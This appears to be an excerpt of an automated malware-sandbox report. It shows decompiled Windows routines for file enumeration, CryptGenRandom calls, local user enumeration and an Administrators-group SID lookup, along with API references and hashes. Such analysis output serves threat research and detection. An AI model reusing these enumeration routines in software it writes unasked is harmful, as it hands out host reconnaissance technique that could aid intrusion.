Instruction Fuzzy Hash: C161F671700226ABDB28AB74EC42FBB77A8EF18710F144439F905D75D1EB75E96087A0

Uniqueness

Uniqueness Score: 0.75%

Function 000A9970, Relevance: 6.2, APIs: 4, Instructions: 173
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E000A9970(void* __ebx, void* __edx, void* __edi, void* __esi, void** _a4, void** _a8, intOrPtr _a12, intOrPtr _a16, void** _a20, void** _a24) {
				void* _v8;
				char _v16;
				signed int _v20;
				void* _v24;
				signed int _v28;
				char _v44;
				intOrPtr _v48;
				void* _v52;
				char _v68;
				struct _WIN32_FIND_DATAW _v660;
				char* _v664;
				void** _v668;
				intOrPtr _v672;
				void* __ebp;
				signed int _t71;
				signed int _t72;
				char _t78;
				void* _t82;
				intOrPtr _t83;
				signed char _t86;
				intOrPtr _t88;
				void** _t111;
				char* _t115;
				void** _t120;
				void* _t121;
				intOrPtr* _t123;
				char* _t141;
				intOrPtr* _t142;
				void* _t145;
				char _t146;
				void** _t148;
				void** _t151;
				signed int _t153;

				_push(0xffffffff);
				_push(0x133c90);
				_push( *[fs:0x0]);
				_t71 =  *0x16f170; // 0xd529e887
				_t72 = _t71 ^ _t153;
				_v20 = _t72;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t72);
				 *[fs:0x0] =  &_v16;
				_t151 = _a4;
				_t148 = _a20;
				_t111 = _a24;
				_v668 = _a8;
				_v672 = _a16;
				E00064650( &_v44, __edx, _a12);
				_v8 = 0;
				if(_v28 == 0) {
					L5:
					_t141 = L"\\*";
					L6:
					_t115 = _t141;
					_t33 =  &(_t115[2]); // 0x13b626
					_v664 = _t33;
					do {
						_t78 =  *_t115;
						_t115 =  &(_t115[2]);
					} while (_t78 != 0);
					E0006AE70( &_v44, _t148, _t141, _t115 - _v664 >> 1);
					_t81 =  >=  ? _v44 :  &_v44;
					_t82 = FindFirstFileW( >=  ? _v44 :  &_v44,  &_v660);
					_t120 = _v668;
					 *_t120 = _t82;
					if(_t82 != 0xffffffff) {
						_t142 =  &(_v660.cFileName);
						_t121 = _t142 + 2;
						do {
							_t83 =  *_t142;
							_t142 = _t142 + 2;
						} while (_t83 != 0);
						_push(_t142 - _t121 >> 1);
						E00068410(_t111, _v672, _t142 - _t121 >> 1,  &(_v660.cFileName));
						_t86 = _v660.dwFileAttributes;
						if((_t86 & 0x00000400) == 0) {
							if((_t86 & 0x00000010) == 0) {
								 *_t148 = 2;
								 *_t111 = 2;
							} else {
								 *_t148 = 3;
								 *_t111 = 3;
							}
							_v52 = 0;
							_t123 =  &(_v660.cFileName);
							_v48 = 7;
							_v68 = 0;
							_t145 = _t123 + 2;
							do {
								_t88 =  *_t123;
								_t123 = _t123 + 2;
							} while (_t88 != 0);
							_push(_t123 - _t145 >> 1);
							E00068410(_t111,  &_v68, _t145,  &(_v660.cFileName));
							_v8 = 1;
							_t148[1] = E000AA600(_t111, _t145, _t148, _t151, _t153,  &_v68, _v660.dwFileAttributes);
							E00054B10(_t111,  &_v68, _t148, _t151);
							_t111[1] = _t148[1];
							L23:
							 *_t151 = 0;
							_t151[1] = 0;
							_t151[2] = 0x1522a0;
							L24:
							E00054B10(_t111,  &_v44, _t148, _t151);
							 *[fs:0x0] = _v16;
							return E000ECED8(_v20 ^ _t153);
						}
						 *_t148 = 0;
						 *_t111 = 0;
						goto L23;
					}
					_t148 = GetLastError;
					 *_t120 = 0;
					if(GetLastError() == 2 || GetLastError() == 0x12) {
						E00053920(_t151, 0, 0x1522a0);
					} else {
						E00053920(_t151, GetLastError(), 0x1522a0);
					}
					goto L24;
				}
				_t146 = _v44;
				_t105 =  >=  ? _t146 :  &_v44;
				if( *((short*)(( >=  ? _t146 :  &_v44) + _v28 * 2 - 2)) == 0x5c) {
					L4:
					_t141 = "*";
					goto L6;
				}
				_t107 =  >=  ? _t146 :  &_v44;
				if( *((short*)(( >=  ? _t146 :  &_v44) + _v28 * 2 - 2)) == 0x2f) {
					goto L4;
				}
				_t109 =  >=  ? _t146 :  &_v44;
				if( *((short*)(( >=  ? _t146 :  &_v44) + _v28 * 2 - 2)) != 0x3a) {
					goto L5;
				}
				goto L4;
			}

0x000a9973
0x000a9975
0x000a9980
0x000a9987
0x000a998c
0x000a998e
0x000a9991
0x000a9992
0x000a9993
0x000a9994
0x000a9998
0x000a99a4
0x000a99a7
0x000a99aa
0x000a99ad
0x000a99b6
0x000a99c0
0x000a99c9
0x000a99d0
0x000a9a1f
0x000a9a1f
0x000a9a24
0x000a9a24
0x000a9a26
0x000a9a29
0x000a9a30
0x000a9a30
0x000a9a33
0x000a9a36
0x000a9a48
0x000a9a5a
0x000a9a60
0x000a9a66
0x000a9a6c
0x000a9a71
0x000a9ab5
0x000a9abb
0x000a9ac0
0x000a9ac0
0x000a9ac3
0x000a9ac6
0x000a9adb
0x000a9add
0x000a9ae2
0x000a9aed
0x000a9b02
0x000a9b12
0x000a9b18
0x000a9b04
0x000a9b04
0x000a9b0a
0x000a9b0a
0x000a9b20
0x000a9b27
0x000a9b2d
0x000a9b34
0x000a9b38
0x000a9b40
0x000a9b40
0x000a9b43
0x000a9b46
0x000a9b55
0x000a9b5a
0x000a9b68
0x000a9b75
0x000a9b7b
0x000a9b83
0x000a9b86
0x000a9b86
0x000a9b8c
0x000a9b90
0x000a9b97
0x000a9b9a
0x000a9ba4
0x000a9bbc
0x000a9bbc
0x000a9aef
0x000a9af5
0x00000000
0x000a9af5
0x000a9a73
0x000a9a79
0x000a9a84
0x000a9aab
0x000a9a8d
0x000a9a97
0x000a9a97
0x00000000
0x000a9a84
0x000a99d9
0x000a99df
0x000a99eb
0x000a9a18
0x000a9a18
0x00000000
0x000a9a18
0x000a99f6
0x000a9a02
0x00000000
0x00000000
0x000a9a0d
0x000a9a16
0x00000000
0x00000000
0x00000000

APIs

FindFirstFileW.KERNEL32(?,?,0013B61C,?,?,D529E887,?,00000000,?), ref: 000A9A60
GetLastError.KERNEL32 ref: 000A9A7F
GetLastError.KERNEL32 ref: 000A9A86
GetLastError.KERNEL32 ref: 000A9A8D

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$FeatureFileFindFirstPresentProcessor___raise_securityfailure
String ID:
API String ID: 3687152853-0
Opcode ID: ca0798a807670652667351e16c1b57dce3e157737d9102cfdf7d3aab0a541929
Instruction ID: dc9da4d3c2de28bf1fb3fe1898c802a3bbbe3758e3c7ea3167d97e8aecaf8771
Opcode Fuzzy Hash: ca0798a807670652667351e16c1b57dce3e157737d9102cfdf7d3aab0a541929
Instruction Fuzzy Hash: E061BF74A00209CFCB24DFA4C895BEEBBF5FF45314F148159D806A7681DB71AA85CFA1

Uniqueness

Uniqueness Score: 2.04%

Function 000CA780, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
encryptionUNIQUE

Download Yara Rule

C-Code - Quality: 54%

			E000CA780(void* __ebx, void* __edx, void* __edi, BYTE* _a4, int _a8) {
				int _v8;
				char _v12;
				int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v44;
				char _v48;
				char _v84;
				void* _v85;
				char _v88;
				int _v92;
				long* _v96;
				intOrPtr _v100;
				int _v112;
				char _v120;
				signed int _v124;
				void* _v189;
				char _v196;
				char _v200;
				char _v228;
				void* __esi;
				void* __ebp;
				signed int _t39;
				signed int _t40;
				long** _t41;
				signed int _t49;
				long** _t53;
				signed int _t54;
				signed int _t61;
				signed int _t64;
				signed int _t65;
				signed int _t66;
				long* _t68;
				signed int _t71;
				signed int _t72;
				long* _t74;
				char* _t86;
				void* _t100;
				signed int _t103;
				BYTE* _t106;
				BYTE* _t107;
				signed int _t109;
				signed int _t113;
				signed int _t114;
				void* _t116;
				signed int _t117;
				signed int _t118;

				_t100 = __edx;
				_t78 = __ebx;
				_push(0xffffffff);
				_push(0x136008);
				_push( *[fs:0x0]);
				_t117 = _t116 - 0x48;
				_t39 =  *0x16f170; // 0xd529e887
				_t40 = _t39 ^ _t113;
				_v20 = _t40;
				_push(_t40);
				_t41 =  &_v16;
				 *[fs:0x0] = _t41;
				_t106 = _a4;
				L8();
				if(CryptGenRandom( *_t41, _a8, _t106) == 0) {
					E00064B00( &_v44, "CryptGenRandom");
					_v8 = 0;
					E000CA3B0(__ebx,  &_v84, _t100, __edi, _t106, __eflags,  &_v44);
					E001047B7( &_v84, 0x16909c);
					asm("int3");
					asm("int3");
					_push(_t113);
					_t114 = _t117;
					_push(0xffffffff);
					_push(0x136040);
					_push( *[fs:0x0]);
					_t118 = _t117 - 0x50;
					_t49 =  *0x16f170; // 0xd529e887
					_v124 = _t49 ^ _t114;
					_push(_t106);
					 *[fs:0x0] =  &_v120;
					_t107 = _v96;
					E000ADB10( &_v200, _t100, 1);
					_v200 = 0x13e9d8;
					_t53 = E000CA250(__ebx,  &_v196, _t100, _t49 ^ _t114);
					_v112 = 0;
					L8();
					_t54 = CryptGenRandom( *_t53, _v92, _t107);
					__eflags = _t54;
					if(_t54 == 0) {
						E00064B00( &_v48, "CryptGenRandom");
						_v12 = 1;
						_t86 =  &_v88;
						E000CA3B0(__ebx, _t86, _t100, __edi, _t107, __eflags,  &_v48);
						E001047B7( &_v88, 0x16909c);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t114);
						_push(0xffffffff);
						_push(0x13607f);
						_push( *[fs:0x0]);
						_push(_t86);
						_push(_t107);
						_push(__edi);
						_t61 =  *0x16f170; // 0xd529e887
						_push(_t61 ^ _t118);
						 *[fs:0x0] =  &_v228;
						_t64 =  *0x178030; // 0x1
						__eflags = _t64 & 0x00000001;
						if((_t64 & 0x00000001) == 0) {
							_t72 = _t64 | 0x00000001;
							__eflags = _t72;
							 *0x178030 = _t72;
							 *0x17802c = 0;
							E000ED2BB(_t72, 0x138df0);
							_t118 = _t118 + 4;
						}
						_t65 =  *0x17802c; // 0x0
						__eflags = _t65;
						if(__eflags != 0) {
							L21:
							 *[fs:0x0] = _v24;
							return _t65;
						} else {
							_push(4);
							_t66 = E000ECF08(_t107, __eflags);
							_v28 = _t66;
							_v16 = 0;
							__eflags = _t66;
							if(_t66 == 0) {
								_t109 = 0;
								__eflags = 0;
							} else {
								_t71 = E000CA250(_t78, _t66, _t100); // executed
								_t109 = _t71;
							}
							_t103 =  *0x17802c; // 0x0
							__eflags = _t103;
							if(_t103 == 0) {
								 *0x17802c = _t109;
								_t65 = _t109;
								goto L21;
							} else {
								__eflags = _t109;
								if(_t109 != 0) {
									_t68 =  *_t109;
									__eflags = _t68;
									if(_t68 != 0) {
										CryptReleaseContext(_t68, 0);
									}
									_push(4);
									E000ED2D0(_t109);
								}
								 *[fs:0x0] = _v24;
								return _t103;
							}
						}
					} else {
						_t74 = _v96;
						_v100 = 0x13e9d8;
						__eflags = _t74;
						if(_t74 != 0) {
							CryptReleaseContext(_t74, 0);
						}
						 *[fs:0x0] = _v20;
						__eflags = _v24 ^ _t114;
						return E000ECED8(_v24 ^ _t114);
					}
				} else {
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t113);
				}
			}

0x000ca780
0x000ca780
0x000ca783
0x000ca785
0x000ca790
0x000ca791
0x000ca794
0x000ca799
0x000ca79b
0x000ca79f
0x000ca7a0
0x000ca7a3
0x000ca7a9
0x000ca7af
0x000ca7c2
0x000ca7e8
0x000ca7f0
0x000ca7fb
0x000ca809
0x000ca80e
0x000ca80f
0x000ca810
0x000ca811
0x000ca813
0x000ca815
0x000ca820
0x000ca821
0x000ca824
0x000ca82b
0x000ca82e
0x000ca833
0x000ca839
0x000ca841
0x000ca849
0x000ca850
0x000ca858
0x000ca85f
0x000ca86a
0x000ca870
0x000ca872
0x000ca8ad
0x000ca8b5
0x000ca8ba
0x000ca8bd
0x000ca8cb
0x000ca8d0
0x000ca8d1
0x000ca8d2
0x000ca8d3
0x000ca8d4
0x000ca8d5
0x000ca8d6
0x000ca8d7
0x000ca8d8
0x000ca8d9
0x000ca8da
0x000ca8db
0x000ca8dc
0x000ca8dd
0x000ca8de
0x000ca8df
0x000ca8e0
0x000ca8e3
0x000ca8e5
0x000ca8f0
0x000ca8f1
0x000ca8f2
0x000ca8f3
0x000ca8f4
0x000ca8fb
0x000ca8ff
0x000ca905
0x000ca90a
0x000ca90c
0x000ca90e
0x000ca90e
0x000ca911
0x000ca91b
0x000ca925
0x000ca92a
0x000ca92a
0x000ca92d
0x000ca932
0x000ca934
0x000ca99e
0x000ca9a1
0x000ca9ae
0x000ca936
0x000ca936
0x000ca938
0x000ca940
0x000ca943
0x000ca94a
0x000ca94c
0x000ca959
0x000ca959
0x000ca94e
0x000ca950
0x000ca955
0x000ca955
0x000ca95b
0x000ca961
0x000ca963
0x000ca996
0x000ca99c
0x00000000
0x000ca965
0x000ca965
0x000ca967
0x000ca969
0x000ca96b
0x000ca96d
0x000ca972
0x000ca972
0x000ca978
0x000ca97b
0x000ca980
0x000ca988
0x000ca995
0x000ca995
0x000ca963
0x000ca874
0x000ca874
0x000ca877
0x000ca87e
0x000ca880
0x000ca885
0x000ca885
0x000ca88e
0x000ca89a
0x000ca8a4
0x000ca8a4
0x000ca7c4
0x000ca7c7
0x000ca7dd
0x000ca7dd

APIs

Part of subcall function 000CA8E0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 000CA972

CryptGenRandom.ADVAPI32(00000000,?,?,D529E887), ref: 000CA7BA

Part of subcall function 000CA3B0: GetLastError.KERNEL32(00000010,D529E887,77749159), ref: 000CA400
Part of subcall function 000CA3B0: CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

__CxxThrowException@8.LIBVCRUNTIME ref: 000CA809

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

CryptGenRandom, xrefs: 000CA7E0

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Crypt$ContextRelease$ErrorExceptionException@8FeatureLastPresentProcessorRaiseRandomThrow___raise_securityfailure
String ID: CryptGenRandom
API String ID: 1237121597-3616286655
Opcode ID: 2edacb75c107c99bfa7c868e47201e30f51c2fea94f86a7a7fdf992edb9579c1
Instruction ID: e75ff00902e35a18dfbe4283ac12092ef4a3d9fc8f114d0c5c74072f9fa81852
Opcode Fuzzy Hash: 2edacb75c107c99bfa7c868e47201e30f51c2fea94f86a7a7fdf992edb9579c1
Instruction Fuzzy Hash: 0D011771A4421CABCB14EFA0DC46FEEBBB8FB06710F40452AB815A7691DB756508CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00095250, Relevance: 4.9, APIs: 3, Instructions: 353
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00095250(WCHAR** __ecx) {
				intOrPtr _v8;
				WCHAR* _v16;
				WCHAR* _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v48;
				WCHAR* _v52;
				int _v56;
				WCHAR* _v60;
				char _v61;
				int _v68;
				char _v69;
				signed int _v72;
				long _v76;
				long _v80;
				void* _v84;
				union _SID_NAME_USE _v88;
				WCHAR* _v92;
				WCHAR** _v96;
				long _v100;
				short* _v104;
				WCHAR* _v108;
				WCHAR* _v112;
				int _v116;
				WCHAR** _v120;
				char _v124;
				intOrPtr _v144;
				char _v152;
				signed int _v160;
				short _v164;
				struct _SID_IDENTIFIER_AUTHORITY _v168;
				void* _v208;
				short* _v216;
				WCHAR* _v220;
				WCHAR* _v272;
				char _v280;
				WCHAR* _v288;
				WCHAR* _v292;
				WCHAR* _v296;
				WCHAR** _v300;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t196;
				signed int _t197;
				int _t204;
				signed int _t210;
				signed int _t211;
				void* _t212;
				signed int _t217;
				WCHAR* _t218;
				int _t222;
				signed int _t228;
				signed int _t229;
				signed int _t235;
				signed int _t241;
				long _t243;
				signed int _t251;
				WCHAR* _t252;
				signed int _t258;
				signed int _t262;
				signed int _t267;
				short* _t269;
				WCHAR* _t273;
				void* _t280;
				int _t283;
				signed int _t288;
				intOrPtr _t291;
				unsigned int _t298;
				signed int _t300;
				unsigned int _t304;
				signed int _t306;
				signed int _t307;
				signed int _t310;
				void* _t311;
				signed int _t313;
				short* _t319;
				void _t321;
				void* _t326;
				intOrPtr* _t329;
				intOrPtr* _t331;
				signed int _t337;
				signed int _t338;
				WCHAR** _t339;
				WCHAR* _t340;
				signed int _t352;
				WCHAR* _t355;
				signed int _t359;
				int _t361;
				intOrPtr* _t366;
				void* _t373;
				signed int _t377;
				signed int _t378;
				void* _t379;
				short* _t382;
				WCHAR* _t385;
				signed int _t387;
				void* _t389;
				signed int _t391;
				WCHAR* _t393;
				WCHAR** _t394;
				signed int _t398;
				signed int _t400;
				void* _t404;
				signed int _t407;
				signed int _t408;
				signed int _t411;

				_t326 = _t404;
				_t407 = (_t404 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t326 + 4));
				_t398 = _t407;
				_push(0xffffffff);
				_push(0x131470);
				_push( *[fs:0x0]);
				_push(_t326);
				_t408 = _t407 - 0x60;
				_t196 =  *0x16f170; // 0xd529e887
				_t197 = _t196 ^ _t398;
				_v32 = _t197;
				_push(_t197);
				 *[fs:0x0] =  &_v24;
				_v96 = __ecx;
				_v72 = __ecx;
				_v120 = __ecx;
				_v112 = 0;
				 *__ecx = 0;
				__ecx[1] = 0;
				__ecx[2] = 0;
				_v16 = 1;
				_t382 = 0;
				_v108 = 0;
				_v104 = 0;
				_v100 = 0;
				_v112 = 3;
				_v76 = 0;
				_v116 = 0;
				asm("o16 nop [eax+eax]");
				do {
					_v80 = 0;
					_v68 = 0;
					_t204 = NetUserEnum(0, 0, 2,  &_v76, 0xffffffff,  &_v68,  &_v80,  &_v116);
					_v72 = _t204;
					if(_t204 == 0 || _t204 == 0xea) {
						_t389 = _v76;
						if(_t389 != 0) {
							_v60 = 0;
							if(_v68 > 0) {
								while(_t389 != 0) {
									if(_v100 == _t382) {
										_push(_t389);
										E00095C40( &_v108, _t382);
										_t382 = _v104;
									} else {
										_t380 =  *_t389;
										 *(_t382 + 0x10) = 0;
										 *((intOrPtr*)(_t382 + 0x14)) = 7;
										 *_t382 = 0;
										_t321 =  *_t389;
										_v84 = _t321 + 2;
										goto L8;
										L8:
										_t373 =  *_t321;
										_t321 = _t321 + 2;
										if(_t373 != 0) {
											goto L8;
										} else {
											_push(_t321 - _v84 >> 1);
											E00068410(_t326, _t382, _t380, _t380);
											_t382 = _t382 + 0x18;
											_v104 = _t382;
										}
									}
									_t389 = _t389 + 4;
									_t319 =  &(_v60[0]);
									_v60 = _t319;
									if(_t319 < _v68) {
										continue;
									}
									goto L12;
								}
								goto L12;
							}
							goto L13;
						}
					} else {
						L12:
						_t389 = _v76;
						L13:
						if(_t389 != 0) {
							NetApiBufferFree(_t389);
							_t389 = 0;
							_v76 = 0;
						}
					}
				} while (_v72 == 0xea);
				if(_t389 != 0) {
					NetApiBufferFree(_t389);
				}
				_t331 = _v108;
				while(1) {
					_v80 = _t331;
					if(_t331 == _t382) {
						break;
					}
					_t391 =  *(_t331 + 0x10);
					_v40 = 0;
					_v36 = 0;
					_v60 = _t331;
					if( *((intOrPtr*)(_t331 + 0x14)) >= 8) {
						_v60 =  *_t331;
					}
					if(_t391 >= 8) {
						_t210 = _t391 | 0x00000007;
						__eflags = _t210 - 0x7ffffffe;
						_t211 =  >  ? 0x7ffffffe : _t210;
						_v72 = _t211;
						_t212 = _t211 + 1;
						_t337 = _t212 + _t212;
						__eflags = _t212 - 0x7fffffff;
						if(_t212 <= 0x7fffffff) {
							__eflags = _t337 - 0x1000;
							if(_t337 < 0x1000) {
								__eflags = _t337;
								if(__eflags == 0) {
									_t338 = 0;
									__eflags = 0;
								} else {
									_push(_t337);
									_t310 = E000ECF08(_t391, __eflags);
									_t408 = _t408 + 4;
									_t338 = _t310;
								}
								goto L32;
							} else {
								goto L27;
							}
						} else {
							_t337 = _t337 | 0xffffffff;
							L27:
							_t54 = _t337 + 0x23; // 0x23
							_t311 = _t54;
							__eflags = _t311 - _t337;
							_t343 = 0xffffffff;
							_t312 =  <=  ? 0xffffffff : _t311;
							_push( <=  ? 0xffffffff : _t311);
							_t313 = E000ECF08(_t391, _t311 - _t337);
							_t408 = _t408 + 4;
							__eflags = _t313;
							if(__eflags == 0) {
								goto L65;
							} else {
								_t55 = _t313 + 0x23; // 0x23
								_t338 = _t55 & 0xffffffe0;
								 *(_t338 - 4) = _t313;
								L32:
								_v56 = _t338;
								E001048E0(_t338, _v60, 2 + _t391 * 2);
								_t408 = _t408 + 0xc;
								_v36 = _v72;
								goto L33;
							}
						}
					} else {
						asm("movups xmm0, [eax]");
						_v36 = 7;
						asm("movups [ebp-0x2c], xmm0");
						L33:
						_v40 = _t391;
						_t376 =  &_v56;
						_v16 = 2;
						_t339 =  &_v92;
						E00095120(_t339,  &_v56);
						_t217 =  *0x17a6cc; // 0x0
						if((_t217 & 0x00000001) == 0) {
							 *0x17a6cc = _t217 | 0x00000001;
							_push(_t339);
							_v16 = 4;
							L66();
							E000ED2BB(_t217 | 0x00000001, 0x138930);
							_t408 = _t408 + 4;
						}
						_t340 = _v92;
						_v60 = _t340;
						_t391 = _t340[2];
						if( *((char*)(_t391 + 0xd)) != 0) {
							L54:
							_t218 = _t340;
						} else {
							do {
								_t366 = _t391 + 0x10;
								_t379 =  *((intOrPtr*)(_t366 + 0x10));
								_t295 =  >=  ?  *0x17a6d0 : 0x17a6d0;
								_v72 =  >=  ?  *0x17a6d0 : 0x17a6d0;
								_v84 = _t379;
								if( *((intOrPtr*)(_t366 + 0x14)) >= 8) {
									_t366 =  *_t366;
								}
								_t297 =  <  ?  *0x17a6e0 : _t379;
								_t298 = E00077790(_t366, _v72,  <  ?  *0x17a6e0 : _t379);
								_t376 =  *0x17a6e0; // 0x0
								_t408 = _t408 + 0xc;
								if(_t298 == 0) {
									_t307 = _v84;
									if(_t376 <= _t307) {
										asm("sbb eax, eax");
										_t298 =  ~_t307;
									} else {
										_t298 = _t307 | 0xffffffff;
									}
								}
								if(_t298 >> 0x1f == 0) {
									_t300 = _t391;
									_t391 =  *_t391;
									_v60 = _t300;
								} else {
									_t391 =  *(_t391 + 8);
									_t300 = _v60;
								}
							} while ( *((char*)(_t391 + 0xd)) == 0);
							_t340 = _v92;
							if(_t300 == _t340) {
								goto L54;
							} else {
								_t391 = _t300 + 0x10;
								_v68 =  *((intOrPtr*)(_t391 + 0x10));
								if( *((intOrPtr*)(_t300 + 0x24)) >= 8) {
									_t391 =  *_t391;
								}
								_t368 =  >=  ?  *0x17a6d0 : 0x17a6d0;
								_t303 =  <  ? _v68 : _t376;
								_t304 = E00077790( >=  ?  *0x17a6d0 : 0x17a6d0, _t391,  <  ? _v68 : _t376);
								_t408 = _t408 + 0xc;
								if(_t304 == 0) {
									_t306 =  *0x17a6e0; // 0x0
									if(_v68 <= _t306) {
										asm("sbb eax, eax");
										_t304 =  ~_t306;
									} else {
										_t304 = _t306 | 0xffffffff;
									}
								}
								_t340 = _v92;
								_t218 = _v60;
								if(_t304 >> 0x1f != 0) {
									goto L54;
								}
							}
						}
						_v16 = 2;
						_v61 = _t218 != _t340;
						E00095A10( &_v92,  &_v124,  *_t340, _t340);
						_push(0x28);
						E000ED2D0(_v92);
						_t408 = _t408 + 8;
						if(_v61 != 0) {
							_t391 = _v96;
							_push( &_v56);
							_t291 =  *((intOrPtr*)(_t391 + 4));
							if( *(_t391 + 8) == _t291) {
								_push(_t291);
								E0008D400(_t391);
							} else {
								E00064650(_t291, _t376);
								 *((intOrPtr*)(_t391 + 4)) =  *((intOrPtr*)(_t391 + 4)) + 0x18;
							}
						}
						_v16 = 1;
						_t377 = _v36;
						if(_t377 < 8) {
							L63:
							_t331 = _v80 + 0x18;
							continue;
						} else {
							_t343 = _v56;
							_t378 = 2 + _t377 * 2;
							_t222 = _t343;
							if(_t378 < 0x1000) {
								L62:
								_push(_t378);
								E000ED2D0(_t343);
								_t408 = _t408 + 8;
								goto L63;
							} else {
								_t343 =  *(_t343 - 4);
								_t378 = _t378 + 0x23;
								if(_t222 - _t343 + 0xfffffffc > 0x1f) {
									L65:
									E0010F44B(_t326, _t343, _t378, _t382, __eflags);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t398);
									_t400 = _t408;
									_push(0xffffffff);
									_push(0x1314c9);
									_push( *[fs:0x0]);
									_t411 = _t408 - 0x5c;
									_t228 =  *0x16f170; // 0xd529e887
									_t229 = _t228 ^ _t400;
									_v160 = _t229;
									_push(_t391);
									_push(_t382);
									_push(_t229);
									 *[fs:0x0] =  &_v152;
									_v220 = 0;
									_v216 = 0x17a6d0;
									 *0x17a6e0 = 0;
									 *0x17a6e4 = 7;
									 *0x17a6d0 = 0;
									_v144 = 0;
									_v168.Value = 0;
									_v220 = 1;
									_v164 = 0x500;
									_t235 = AllocateAndInitializeSid( &_v168, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v208);
									__eflags = _t235;
									if(_t235 == 0) {
										L85:
										 *[fs:0x0] = _v28;
										__eflags = _v36 ^ _t400;
										return E000ECED8(_v36 ^ _t400);
									} else {
										_v88 = 2;
										_v80 = 0;
										_v76 = 0;
										_t241 = LookupAccountSidW(0, _v84, 0,  &_v80, 0,  &_v76,  &_v88);
										__eflags = _t241;
										if(_t241 != 0) {
											L84:
											FreeSid(_v84);
											goto L85;
										} else {
											_t243 = GetLastError();
											__eflags = _t243 - 0x7a;
											if(_t243 != 0x7a) {
												goto L84;
											} else {
												_push( &_v69);
												E000959C0( &_v108, _t382, _v80);
												_v20 = 1;
												_push( &_v69);
												E000959C0( &_v120, _t382, _v76);
												_v20 = 2;
												_t385 = _v120;
												_t393 = _v108;
												_t251 = LookupAccountSidW(0, _v84, _t393,  &_v80, _t385,  &_v76,  &_v88);
												__eflags = _t251;
												if(_t251 == 0) {
													L76:
													__eflags = _t385;
													if(_t385 == 0) {
														L80:
														__eflags = _t393;
														if(_t393 == 0) {
															goto L84;
														} else {
															_t252 = _t393;
															_t352 = _v100 - _t393 & 0xfffffffe;
															__eflags = _t352 - 0x1000;
															if(_t352 < 0x1000) {
																L83:
																_push(_t352);
																E000ED2D0(_t393);
																goto L84;
															} else {
																_t393 =  *(_t393 - 4);
																_t352 = _t352 + 0x23;
																__eflags = _t252 - _t393 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L88;
																} else {
																	goto L83;
																}
															}
														}
													} else {
														_t273 = _t385;
														_t359 = _v112 - _t385 & 0xfffffffe;
														__eflags = _t359 - 0x1000;
														if(_t359 < 0x1000) {
															L79:
															_push(_t359);
															E000ED2D0(_t385);
															_t411 = _t411 + 8;
															goto L80;
														} else {
															_t385 =  *(_t385 - 4);
															_t352 = _t359 + 0x23;
															__eflags = _t273 - _t385 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L87;
															} else {
																goto L79;
															}
														}
													}
												} else {
													_v52 = 0;
													_v68 = 0;
													_t280 = _v104 + 0xfffffffe;
													_v48 = 7;
													__eflags = _t393 - _t280;
													if(_t393 != _t280) {
														_t288 = _t280 - _t393;
														__eflags = _t288;
														_push(_t288 >> 1);
														E00068410(_t326,  &_v68, _t378, _t393);
													}
													E000645C0(0x17a6d0,  &_v68);
													_t378 = _v48;
													__eflags = _t378 - 8;
													if(_t378 < 8) {
														goto L76;
													} else {
														_t361 = _v68;
														_t378 = 2 + _t378 * 2;
														_t283 = _t361;
														__eflags = _t378 - 0x1000;
														if(_t378 < 0x1000) {
															L75:
															_push(_t378);
															E000ED2D0(_t361);
															_t411 = _t411 + 8;
															goto L76;
														} else {
															_t352 =  *(_t361 - 4);
															_t378 = _t378 + 0x23;
															__eflags = _t283 - _t352 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																E0010F44B(_t326, _t352, _t378, _t385, __eflags);
																L87:
